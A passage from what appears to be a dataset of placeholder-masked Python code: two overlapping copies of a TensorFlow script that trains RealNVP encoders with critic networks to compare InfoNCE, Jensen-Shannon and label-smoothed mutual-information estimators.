label}\n\n\n<function token>\n\n\ndef tfds_to_np(dataset):\n features = list(tfds.as_numpy(dataset))\n images = np.stack([f[FEATURE_INPUT].ravel() for f in features])\n labels = np.stack([f[FEATURE_LABEL].ravel() for f in features])\n return images, labels\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n\n\nclass MLP(tf.keras.Model):\n\n def __init__(self, layer_dimensions, shortcuts, dense_kwargs={}):\n super(MLP, self).__init__()\n self._layers = [tfkl.Dense(dimensions, **dense_kwargs) for\n dimensions in layer_dimensions[:-1]]\n dense_kwargs_copy = copy.deepcopy(dense_kwargs)\n dense_kwargs_copy['activation'] = None\n self._layers.append(tfkl.Dense(layer_dimensions[-1], **\n dense_kwargs_copy))\n self._shortcuts = shortcuts\n\n @property\n def layers(self):\n return self._layers\n\n def __call__(self, inputs):\n x = inputs\n for layer in self.layers:\n x = layer(x) + x if self._shortcuts else layer(x)\n return x\n\n\nclass LayerNorm(tfkl.Layer):\n \"\"\" Layer Normalization in the style of https://arxiv.org/abs/1607.06450 \"\"\"\n\n def __init__(self, scale_initializer='ones', bias_initializer='zeros',\n axes=[1, 2, 3], epsilon=1e-06, **kwargs):\n super(LayerNorm, self).__init__(**kwargs)\n self.epsilon = epsilon\n self.scale_initializer = tf.keras.initializers.get(scale_initializer)\n self.bias_initializer = tf.keras.initializers.get(bias_initializer)\n self.axes = axes\n\n def build(self, input_shape):\n self.scale = self.add_weight(shape=(input_shape[-1],), initializer=\n self.scale_initializer, trainable=True, name='{}_scale'.format(\n self.name))\n self.bias = self.add_weight(shape=(input_shape[-1],), initializer=\n self.bias_initializer, trainable=True, name='{}_bias'.format(\n self.name))\n self.built = True\n\n def call(self, x, mask=None):\n mean = tf.keras.backend.mean(x, axis=self.axes, keepdims=True)\n std = tf.keras.backend.std(x, axis=self.axes, keepdims=True)\n norm = (x - mean) * (1 / (std + self.epsilon))\n return norm * self.scale + self.bias\n\n def compute_output_shape(self, input_shape):\n return input_shape\n\n\nclass ConvNet(tf.keras.Sequential):\n\n def __init__(self, channels=64, kernel_size=5, input_dim=DIMS // 2,\n output_dim=100, activation=tf.nn.relu):\n super(ConvNet, self).__init__([tfkl.Reshape((14, 28, 1),\n input_shape=(input_dim,)), tfkl.Conv2D(channels, kernel_size,\n strides=2, padding='same', activation=activation), tfkl.Conv2D(\n 2 * channels, kernel_size, strides=2, padding='same',\n activation=activation), LayerNorm(), tfkl.\n GlobalAveragePooling2D(), tfkl.Dense(output_dim)])\n\n\n<import token>\n\n\nclass RealNVP(bijector_lib.Bijector):\n\n def __init__(self, num_masked, shift_and_log_scale_fn=None, bijector_fn\n =None, is_constant_jacobian=False, validate_args=False, name=None):\n name = name or 'real_nvp'\n if num_masked < 0:\n raise ValueError('num_masked must be a non-negative integer.')\n self._num_masked = num_masked\n self._input_depth = None\n if bool(shift_and_log_scale_fn) == bool(bijector_fn):\n raise ValueError(\n 'Exactly one of `shift_and_log_scale_fn` and `bijector_fn` should be specified.'\n )\n if shift_and_log_scale_fn:\n\n def _bijector_fn(x0, input_depth, **condition_kwargs):\n shift, log_scale = shift_and_log_scale_fn(x0, input_depth,\n **condition_kwargs)\n return affine_scalar.AffineScalar(shift=shift, scale=log_scale)\n bijector_fn = _bijector_fn\n if validate_args:\n bijector_fn = _validate_bijector_fn(bijector_fn)\n self._shift_and_log_scale_fn = shift_and_log_scale_fn\n self._bijector_fn = bijector_fn\n super(RealNVP, self).__init__(forward_min_event_ndims=1,\n is_constant_jacobian=is_constant_jacobian, validate_args=\n validate_args, name=name)\n\n def _cache_input_depth(self, x):\n if self._input_depth is None:\n self._input_depth = tf.compat.dimension_value(tensorshape_util.\n with_rank_at_least(x.shape, 1)[-1])\n if self._input_depth is None:\n raise NotImplementedError(\n 'Rightmost dimension must be known prior to graph execution.'\n )\n if self._num_masked >= self._input_depth:\n raise ValueError(\n 'Number of masked units must be smaller than the event size.'\n )\n\n def _forward(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n y1 = self._bijector_fn(x0, self._input_depth - self._num_masked, **\n condition_kwargs).forward(x1)\n y = tf.concat([x0, y1], axis=-1)\n return y\n\n def _inverse(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n x1 = self._bijector_fn(y0, self._input_depth - self._num_masked, **\n condition_kwargs).inverse(y1)\n x = tf.concat([y0, x1], axis=-1)\n return x\n\n def _forward_log_det_jacobian(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n return self._bijector_fn(x0, self._input_depth - self._num_masked,\n **condition_kwargs).forward_log_det_jacobian(x1, event_ndims=1)\n\n def _inverse_log_det_jacobian(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n return self._bijector_fn(y0, self._input_depth - self._num_masked,\n **condition_kwargs).inverse_log_det_jacobian(y1, event_ndims=1)\n\n\ndef real_nvp_default_template(hidden_layers, shift_only=False, activation=\n tf.nn.relu, name=None, *args, **kwargs):\n with tf.compat.v1.name_scope(name or 'real_nvp_default_template'):\n\n def _fn(x, output_units, **condition_kwargs):\n \"\"\"Fully connected MLP parameterized via `real_nvp_template`.\"\"\"\n if condition_kwargs:\n raise NotImplementedError(\n 'Conditioning not implemented in the default template.')\n if tensorshape_util.rank(x.shape) == 1:\n x = x[tf.newaxis, ...]\n reshape_output = lambda x: x[0]\n else:\n reshape_output = lambda x: x\n for units in hidden_layers:\n x = tf1.layers.dense(*args, inputs=x, units=units,\n activation=activation, **kwargs)\n x = tf1.layers.dense(*args, inputs=x, units=(1 if shift_only else\n 2) * output_units, activation=None, **kwargs)\n if shift_only:\n return reshape_output(x), None\n shift, log_scale = tf.split(x, 2, axis=-1)\n return reshape_output(shift), 1e-07 + tf.nn.softplus(reshape_output\n (log_scale))\n return tf1.make_template('real_nvp_default_template', _fn)\n\n\nclass RealNVPBijector(tf.keras.Model):\n\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions) for _ in range(\n n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n\n def call(self, inputs):\n return self._bijector.forward(inputs)\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\ndef train(g1, g2, critic, loss_fn, learning_rate, batch_size=\n TRAIN_BATCH_SIZE, n_iters=15000, n_evals=15, compute_jacobian=False,\n noise_std=0.0, data_dimensions=DIMS // 2, n_iter=1, loss_name='InfoNCE'):\n \"\"\"Runs the training loop for a fixed model.\n\n Args:\n g1: Function, maps input1 to representation.\n g2: Function, maps input2 to representation.\n critic: Function, maps two representations to scalar.\n loss_fn: Function, mutual information estimator.\n learning_rate: Learning rate.\n batch_size: Training batch size.\n n_iters: Number of optimization iterations.\n n_evals: Number of model evaluations.\n compute_jacobian: Whether to estimate the singular values of the Jacobian.\n noise_std: Standard deviation for the Gaussian noise. Default is 0.0.\n data_dimensions: The dimension of the data. By default it's half of the\n original data dimension.\n Returns:\n Returns and instance of `Results` tuple.\n \"\"\"\n x_1, x_2, _ = processed_train_data(data_dimensions, batch_size)\n if noise_std > 0.0:\n assert x_1.shape == x_2.shape, 'X1 and X2 shapes must agree to add noise!'\n noise = noise_std * tf.random.normal(x_1.shape)\n x_1 += noise\n x_2 += noise\n code_1, code_2 = g1(x_1), g2(x_2)\n critic_matrix = critic(code_1, code_2)\n if compute_jacobian:\n jacobian = gradients.batch_jacobian(code_1, x_1, use_pfor=False)\n singular_values = tf.linalg.svd(jacobian, compute_uv=False)\n loss = loss_fn(critic_matrix)\n optimizer = tf.compat.v1.train.AdamOptimizer(learning_rate=learning_rate)\n if not loss_name == 'wpc':\n optimizer_op = optimizer.minimize(loss)\n else:\n gvs = optimizer.compute_gradients(loss)\n capped_gvs = [(tf.clip_by_value(grad, -1.0, 1.0), var) for grad,\n var in gvs]\n optimizer_op = optimizer.apply_gradients(capped_gvs)\n with tf.compat.v1.Session() as session:\n session.run(tf.compat.v1.global_variables_initializer())\n data_ph = tf.compat.v1.placeholder(tf.float32, shape=[None,\n data_dimensions])\n data_ph_noisy = data_ph + noise_std * tf.random.normal(tf.shape(\n input=data_ph))\n codes = g1(data_ph_noisy)\n (training_losses, testing_losses, classification_accuracies, iters,\n sigmas) = [], [], [], [], []\n for iter_n in range(n_iters):\n if iter_n % (n_iters // n_evals) == 0:\n iters.append(iter_n)\n accuracy = get_classification_accuracy(session, codes,\n data_ph, data_dimensions)\n classification_accuracies.append(accuracy)\n testing_losses.append(get_testing_loss(x_test, session,\n loss, data_ph, data_dimensions))\n if compute_jacobian:\n sigmas.append(session.run(singular_values))\n print(\n '{:d}th iter Loss_name {} Step {:>10d} fit {:>.5f} DS {} B {:d} lr {:f}'\n .format(n_iter, loss_name, iter_n, accuracy, args.\n dataset, args.batch_size, args.lr))\n loss_np, _ = session.run([loss, optimizer_op])\n training_losses.append(loss_np)\n return Results(iterations=iters, training_losses=training_losses,\n testing_losses=testing_losses, classification_accuracies=\n classification_accuracies, singular_values=sigmas)\n\n\ndef run_sweep(nets, critics, loss_fns, exp_name, **kwargs):\n \"\"\"Runs the sweep across encoder networks, critics, and the estimators.\"\"\"\n grid = itertools.product(nets, critics, loss_fns)\n data_frames = []\n results_with_singular_values = []\n for nets_name, critic_name, loss_name in grid:\n print('[New experiment] encoder: {}, critic: {}, loss: {}'.format(\n nets_name, critic_name, loss_name))\n with tf.Graph().as_default():\n g1, g2 = nets[nets_name]()\n critic = critics[critic_name]()\n loss_fn = loss_fns[loss_name]\n results_per_run = []\n for n in range(NRUNS):\n try:\n print('{:d}th run, loss: {}'.format(n, loss_name))\n if loss_name == 'drfc' and TFDS_NAME == 'cifar10':\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n else:\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n results_per_run.append(results)\n except Exception as ex:\n print('Run {} failed! Error: {}'.format(n, ex))\n for i, result in enumerate(results_per_run):\n data_frames.append(convert_to_data_frame(result, exp_name,\n nets_name, critic_name, loss_name, i))\n if kwargs.get('compute_jacobian', False):\n results_with_singular_values.append((ResultsConfig(\n nets_name, critic_name, loss_name), results_per_run))\n return {'df': pd.concat(data_frames), 'singular_values':\n results_with_singular_values}\n\n\ndef run_all_experiments():\n tf.compat.v1.reset_default_graph()\n wpc_loss = lambda x: -infonce_lower_bound(x)\n cpc_loss = lambda x: -infonce_lower_bound(x)\n drfc_loss = lambda x: -our_lower_bound(x)\n pcc_loss = lambda x: -js_fgan_lower_bound(x)\n skew_pcc_loss = lambda x: -skew_js_fgan_lower_bound(x)\n ls_pcc_loss = lambda x: -label_smooth_pcc(x)\n pre_ls_pcc_loss = lambda x: -predict_smooth_pcc(x)\n adap_pred_smooth_pcc_loss = lambda x: -adap_pred_smooth_pcc(x)\n adap_label_smooth_pcc_loss = lambda x: -adap_label_smooth_pcc(x)\n loss_fcts = {'pcc': pcc_loss, 'cpc': cpc_loss, 'ls_pcc': ls_pcc_loss,\n 'prels_pcc': pre_ls_pcc_loss, 'adap_pred_pcc':\n adap_pred_smooth_pcc_loss, 'adap_label_pcc': adap_label_smooth_pcc_loss\n }\n kwargs = dict(shift_only=True, activation=lambda x: tf.nn.relu(x),\n kernel_initializer=tf.compat.v1.initializers.truncated_normal(\n stddev=0.0001), bias_initializer='zeros')\n nets = {'realnvp': lambda : (RealNVPBijector(DIMS // 2, n_couplings=30,\n hidden_layers=[512, 512], dense_kwargs=kwargs), RealNVPBijector(\n DIMS // 2, n_couplings=30, hidden_layers=[512, 512], dense_kwargs=\n kwargs))}\n critics = {'bilinear': lambda : BilinearCritic(feature_dim=DIMS // 2)}\n return run_sweep(nets, critics, loss_fcts, 'invertible', n_iters=21000,\n n_evals=21)\n\n\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n\n\ndef acti_func(x, a, b, c):\n x = tf.stop_gradient(x)\n alpha = tf.zeros_like(x)\n alpha = tf.where(x <= b, -a * x / b + a, alpha)\n alpha = tf.where((x > b) & (x < c), 0.0, alpha)\n alpha = tf.where(x >= c, a * x / (1 - c) + a * c / (c - 1), alpha)\n return alpha\n\n\ndef convert_to_data_frame(result, exp_name, nets, critic, loss, seed):\n \"\"\"Convert results class to a data frame.\"\"\"\n label = '{}, {}, {}'.format(nets, critic, loss)\n rows = list(zip(itertools.repeat(exp_name), itertools.repeat(nets),\n itertools.repeat(critic), itertools.repeat(loss), itertools.repeat(\n seed), result.iterations, [(-loss) for loss in result.\n testing_losses], result.classification_accuracies, itertools.repeat\n (label)))\n df_eval = pd.DataFrame(rows, columns=('exp_name', 'nets', 'Critic',\n 'Estimator', 'run', 'iteration', 'bound_value', 'accuracy', 'label'))\n df_eval['Estimator'] = df_eval['Estimator'].replace(to_replace={'cpc':\n '$CPC$', 'pcc': '$PCC$', 'drfc': '$D-RFC$', 'wpc': '$WPC$'})\n df_eval['Critic'] = df_eval['Critic'].replace(to_replace={'concat':\n 'MLP', 'separable': 'Separable', 'innerprod': 'Inner product',\n 'bilinear': 'Bilinear'})\n return df_eval\n\n\ndef apply_default_style(ax):\n ax.set_xlim([0, 20001])\n ax.get_xaxis().set_major_formatter(FuncFormatter(lambda x, p: format(\n int(x / 1000), ',')))\n ax.set_xlabel('Training steps (in thousands)')\n plt.tick_params(top=False, right=False, bottom=False, left=False)\n handles, labels = ax.get_legend_handles_labels()\n plt.legend(loc='lower right', handles=handles[1:], labels=labels[1:])\n\n\ndef get_testing_loss(x_array, session, loss, data_ph, dims, batch_size=512):\n total_loss = 0\n for i in range(0, x_array.shape[0], batch_size):\n x_slice = x_array[i:i + batch_size, :dims]\n total_loss += x_slice.shape[0] * session.run(loss, feed_dict={\n data_ph: x_slice})\n return total_loss / x_array.shape[0]\n\n\ndef get_classification_accuracy(session, codes, data_ph, dims):\n x_train_mapped = map_data(x_train, session, codes, data_ph, dims)\n x_test_mapped = map_data(x_test, session, codes, data_ph, dims)\n accuracy = logistic_fit(x_train_mapped, y_train, x_test_mapped, y_test)\n return accuracy\n\n\ndef map_data(x_array, session, codes, data_ph, dims, batch_size=512):\n x_mapped = []\n for i in range(0, x_array.shape[0], batch_size):\n x_mapped.append(session.run(codes, feed_dict={data_ph: x_array[i:i +\n batch_size, :dims]}))\n return np.concatenate(x_mapped, axis=0)\n\n\ndef reduce_logmeanexp_nodiag(x, axis=None):\n batch_size = x.shape[0]\n logsumexp = tf.reduce_logsumexp(input_tensor=x - tf.linalg.tensor_diag(\n np.inf * tf.ones(batch_size)), axis=axis)\n if axis:\n num_elem = batch_size - 1.0\n else:\n num_elem = batch_size * (batch_size - 1.0)\n return logsumexp - tf.math.log(num_elem)\n\n\ndef tuba_lower_bound(scores, log_baseline=None):\n if log_baseline is not None:\n scores -= log_baseline[:, None]\n batch_size = tf.cast(scores.shape[0], tf.float32)\n joint_term = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores))\n marg_term = tf.exp(reduce_logmeanexp_nodiag(scores))\n return 1.0 + joint_term - marg_term\n\n\n<function token>\n\n\[email protected]\ndef js_fgan_lower_bound(f):\n \"\"\"Lower bound on Jensen-Shannon divergence from Nowozin et al. (2016).\"\"\"\n f_diag = tf.linalg.tensor_diag_part(f)\n first_term = tf.reduce_mean(-tf.nn.softplus(-f_diag))\n n = tf.cast(f.shape[0], tf.float32)\n second_term = (tf.reduce_sum(tf.nn.softplus(f)) - tf.reduce_sum(tf.nn.\n softplus(f_diag))) / (n * (n - 1.0))\n return first_term - second_term\n\n\[email protected]\ndef infonce_lower_bound(scores):\n \"\"\"InfoNCE lower bound from van den Oord et al. (2018).\"\"\"\n nll = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores) - tf.\n reduce_logsumexp(input_tensor=scores, axis=1))\n mi = tf.math.log(tf.cast(scores.shape[0], tf.float32)) + nll\n return mi\n\n\[email protected]\ndef our_lower_bound(scores):\n \"\"\"Our lower bound\"\"\"\n batch_size = tf.cast(scores.shape[0], tf.float32)\n joint_term = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores))\n scores_sq = scores ** 2\n marg_num = batch_size * (batch_size - 1.0)\n marg_term = tf.reduce_sum(input_tensor=scores_sq) - tf.reduce_sum(\n input_tensor=tf.linalg.diag_part(scores_sq))\n marg_term = marg_term / marg_num\n return joint_term - 0.5 * marg_term\n\n\[email protected]\ndef skew_js_fgan_lower_bound(f):\n \"\"\"skewed js lower bound (true cross entropy)\"\"\"\n n = tf.cast(f.shape[0], tf.float32)\n alpha = 1 / n\n f_diag = tf.linalg.tensor_diag_part(f)\n first_term = tf.reduce_mean(-tf.nn.softplus(-f_diag))\n second_term = (tf.reduce_sum(tf.nn.softplus(f)) - tf.reduce_sum(tf.nn.\n softplus(f_diag))) / (n * (n - 1.0))\n return alpha * first_term - (1 - alpha) * second_term\n\n\[email protected]\ndef label_smooth_pcc(f):\n \"\"\" pcc with label smoothing trick\"\"\"\n n = f.shape[0]\n labels = tf.eye(n)\n labels = tf.reshape(labels, [-1, 1])\n labels = (1.0 - args.smoothing) * labels + args.smoothing / 2\n pre_prob = tf.reshape(tf.sigmoid(f), [-1, 1])\n bce = tf.keras.losses.BinaryCrossentropy()\n return -bce(labels, pre_prob)\n\n\n<function token>\n\n\[email protected]\ndef adap_label_smooth_pcc(f):\n n = f.shape[0]\n labels = tf.eye(n)\n labels = tf.reshape(labels, [-1, 1])\n pre_prob = tf.reshape(tf.sigmoid(f), [-1, 1])\n alpha = acti_func(pre_prob, a, b, c)\n new_labels = (1.0 - alpha) * labels + alpha / 2\n bce = tf.keras.losses.BinaryCrossentropy()\n return -bce(new_labels, pre_prob)\n\n\n<function token>\n\n\ndef logistic_fit(x_train, y_train, x_test, y_test):\n logistic_regressor = sk_linear.LogisticRegression(solver='saga',\n multi_class='multinomial', tol=0.1, C=10.0)\n from sklearn.preprocessing import MinMaxScaler\n scaler = MinMaxScaler()\n x_train = scaler.fit_transform(x_train)\n x_test = scaler.transform(x_test)\n logistic_regressor.fit(x_train, y_train.ravel())\n return logistic_regressor.score(x_test, y_test.ravel())\n\n\n<code token>\n\n\ndef map_fn(example):\n image = example[FEATURE_INPUT]\n image = tf.cast(image, tf.float32) / 255.0\n image = tf.reshape(image, [-1])\n label = example[FEATURE_LABEL]\n return {FEATURE_INPUT: image, FEATURE_LABEL: label}\n\n\n<function token>\n\n\ndef tfds_to_np(dataset):\n features = list(tfds.as_numpy(dataset))\n images = np.stack([f[FEATURE_INPUT].ravel() for f in features])\n labels = np.stack([f[FEATURE_LABEL].ravel() for f in features])\n return images, labels\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n\n\nclass MLP(tf.keras.Model):\n\n def __init__(self, layer_dimensions, shortcuts, dense_kwargs={}):\n super(MLP, self).__init__()\n self._layers = [tfkl.Dense(dimensions, **dense_kwargs) for\n dimensions in layer_dimensions[:-1]]\n dense_kwargs_copy = copy.deepcopy(dense_kwargs)\n dense_kwargs_copy['activation'] = None\n self._layers.append(tfkl.Dense(layer_dimensions[-1], **\n dense_kwargs_copy))\n self._shortcuts = shortcuts\n\n @property\n def layers(self):\n return self._layers\n\n def __call__(self, inputs):\n x = inputs\n for layer in self.layers:\n x = layer(x) + x if self._shortcuts else layer(x)\n return x\n\n\nclass LayerNorm(tfkl.Layer):\n \"\"\" Layer Normalization in the style of https://arxiv.org/abs/1607.06450 \"\"\"\n\n def __init__(self, scale_initializer='ones', bias_initializer='zeros',\n axes=[1, 2, 3], epsilon=1e-06, **kwargs):\n super(LayerNorm, self).__init__(**kwargs)\n self.epsilon = epsilon\n self.scale_initializer = tf.keras.initializers.get(scale_initializer)\n self.bias_initializer = tf.keras.initializers.get(bias_initializer)\n self.axes = axes\n\n def build(self, input_shape):\n self.scale = self.add_weight(shape=(input_shape[-1],), initializer=\n self.scale_initializer, trainable=True, name='{}_scale'.format(\n self.name))\n self.bias = self.add_weight(shape=(input_shape[-1],), initializer=\n self.bias_initializer, trainable=True, name='{}_bias'.format(\n self.name))\n self.built = True\n\n def call(self, x, mask=None):\n mean = tf.keras.backend.mean(x, axis=self.axes, keepdims=True)\n std = tf.keras.backend.std(x, axis=self.axes, keepdims=True)\n norm = (x - mean) * (1 / (std + self.epsilon))\n return norm * self.scale + self.bias\n\n def compute_output_shape(self, input_shape):\n return input_shape\n\n\nclass ConvNet(tf.keras.Sequential):\n\n def __init__(self, channels=64, kernel_size=5, input_dim=DIMS // 2,\n output_dim=100, activation=tf.nn.relu):\n super(ConvNet, self).__init__([tfkl.Reshape((14, 28, 1),\n input_shape=(input_dim,)), tfkl.Conv2D(channels, kernel_size,\n strides=2, padding='same', activation=activation), tfkl.Conv2D(\n 2 * channels, kernel_size, strides=2, padding='same',\n activation=activation), LayerNorm(), tfkl.\n GlobalAveragePooling2D(), tfkl.Dense(output_dim)])\n\n\n<import token>\n\n\nclass RealNVP(bijector_lib.Bijector):\n\n def __init__(self, num_masked, shift_and_log_scale_fn=None, bijector_fn\n =None, is_constant_jacobian=False, validate_args=False, name=None):\n name = name or 'real_nvp'\n if num_masked < 0:\n raise ValueError('num_masked must be a non-negative integer.')\n self._num_masked = num_masked\n self._input_depth = None\n if bool(shift_and_log_scale_fn) == bool(bijector_fn):\n raise ValueError(\n 'Exactly one of `shift_and_log_scale_fn` and `bijector_fn` should be specified.'\n )\n if shift_and_log_scale_fn:\n\n def _bijector_fn(x0, input_depth, **condition_kwargs):\n shift, log_scale = shift_and_log_scale_fn(x0, input_depth,\n **condition_kwargs)\n return affine_scalar.AffineScalar(shift=shift, scale=log_scale)\n bijector_fn = _bijector_fn\n if validate_args:\n bijector_fn = _validate_bijector_fn(bijector_fn)\n self._shift_and_log_scale_fn = shift_and_log_scale_fn\n self._bijector_fn = bijector_fn\n super(RealNVP, self).__init__(forward_min_event_ndims=1,\n is_constant_jacobian=is_constant_jacobian, validate_args=\n validate_args, name=name)\n\n def _cache_input_depth(self, x):\n if self._input_depth is None:\n self._input_depth = tf.compat.dimension_value(tensorshape_util.\n with_rank_at_least(x.shape, 1)[-1])\n if self._input_depth is None:\n raise NotImplementedError(\n 'Rightmost dimension must be known prior to graph execution.'\n )\n if self._num_masked >= self._input_depth:\n raise ValueError(\n 'Number of masked units must be smaller than the event size.'\n )\n\n def _forward(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n y1 = self._bijector_fn(x0, self._input_depth - self._num_masked, **\n condition_kwargs).forward(x1)\n y = tf.concat([x0, y1], axis=-1)\n return y\n\n def _inverse(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n x1 = self._bijector_fn(y0, self._input_depth - self._num_masked, **\n condition_kwargs).inverse(y1)\n x = tf.concat([y0, x1], axis=-1)\n return x\n\n def _forward_log_det_jacobian(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n return self._bijector_fn(x0, self._input_depth - self._num_masked,\n **condition_kwargs).forward_log_det_jacobian(x1, event_ndims=1)\n\n def _inverse_log_det_jacobian(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n return self._bijector_fn(y0, self._input_depth - self._num_masked,\n **condition_kwargs).inverse_log_det_jacobian(y1, event_ndims=1)\n\n\ndef real_nvp_default_template(hidden_layers, shift_only=False, activation=\n tf.nn.relu, name=None, *args, **kwargs):\n with tf.compat.v1.name_scope(name or 'real_nvp_default_template'):\n\n def _fn(x, output_units, **condition_kwargs):\n \"\"\"Fully connected MLP parameterized via `real_nvp_template`.\"\"\"\n if condition_kwargs:\n raise NotImplementedError(\n 'Conditioning not implemented in the default template.')\n if tensorshape_util.rank(x.shape) == 1:\n x = x[tf.newaxis, ...]\n reshape_output = lambda x: x[0]\n else:\n reshape_output = lambda x: x\n for units in hidden_layers:\n x = tf1.layers.dense(*args, inputs=x, units=units,\n activation=activation, **kwargs)\n x = tf1.layers.dense(*args, inputs=x, units=(1 if shift_only else\n 2) * output_units, activation=None, **kwargs)\n if shift_only:\n return reshape_output(x), None\n shift, log_scale = tf.split(x, 2, axis=-1)\n return reshape_output(shift), 1e-07 + tf.nn.softplus(reshape_output\n (log_scale))\n return tf1.make_template('real_nvp_default_template', _fn)\n\n\nclass RealNVPBijector(tf.keras.Model):\n\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions) for _ in range(\n n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n\n def call(self, inputs):\n return self._bijector.forward(inputs)\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\ndef train(g1, g2, critic, loss_fn, learning_rate, batch_size=\n TRAIN_BATCH_SIZE, n_iters=15000, n_evals=15, compute_jacobian=False,\n noise_std=0.0, data_dimensions=DIMS // 2, n_iter=1, loss_name='InfoNCE'):\n \"\"\"Runs the training loop for a fixed model.\n\n Args:\n g1: Function, maps input1 to representation.\n g2: Function, maps input2 to representation.\n critic: Function, maps two representations to scalar.\n loss_fn: Function, mutual information estimator.\n learning_rate: Learning rate.\n batch_size: Training batch size.\n n_iters: Number of optimization iterations.\n n_evals: Number of model evaluations.\n compute_jacobian: Whether to estimate the singular values of the Jacobian.\n noise_std: Standard deviation for the Gaussian noise. Default is 0.0.\n data_dimensions: The dimension of the data. By default it's half of the\n original data dimension.\n Returns:\n Returns and instance of `Results` tuple.\n \"\"\"\n x_1, x_2, _ = processed_train_data(data_dimensions, batch_size)\n if noise_std > 0.0:\n assert x_1.shape == x_2.shape, 'X1 and X2 shapes must agree to add noise!'\n noise = noise_std * tf.random.normal(x_1.shape)\n x_1 += noise\n x_2 += noise\n code_1, code_2 = g1(x_1), g2(x_2)\n critic_matrix = 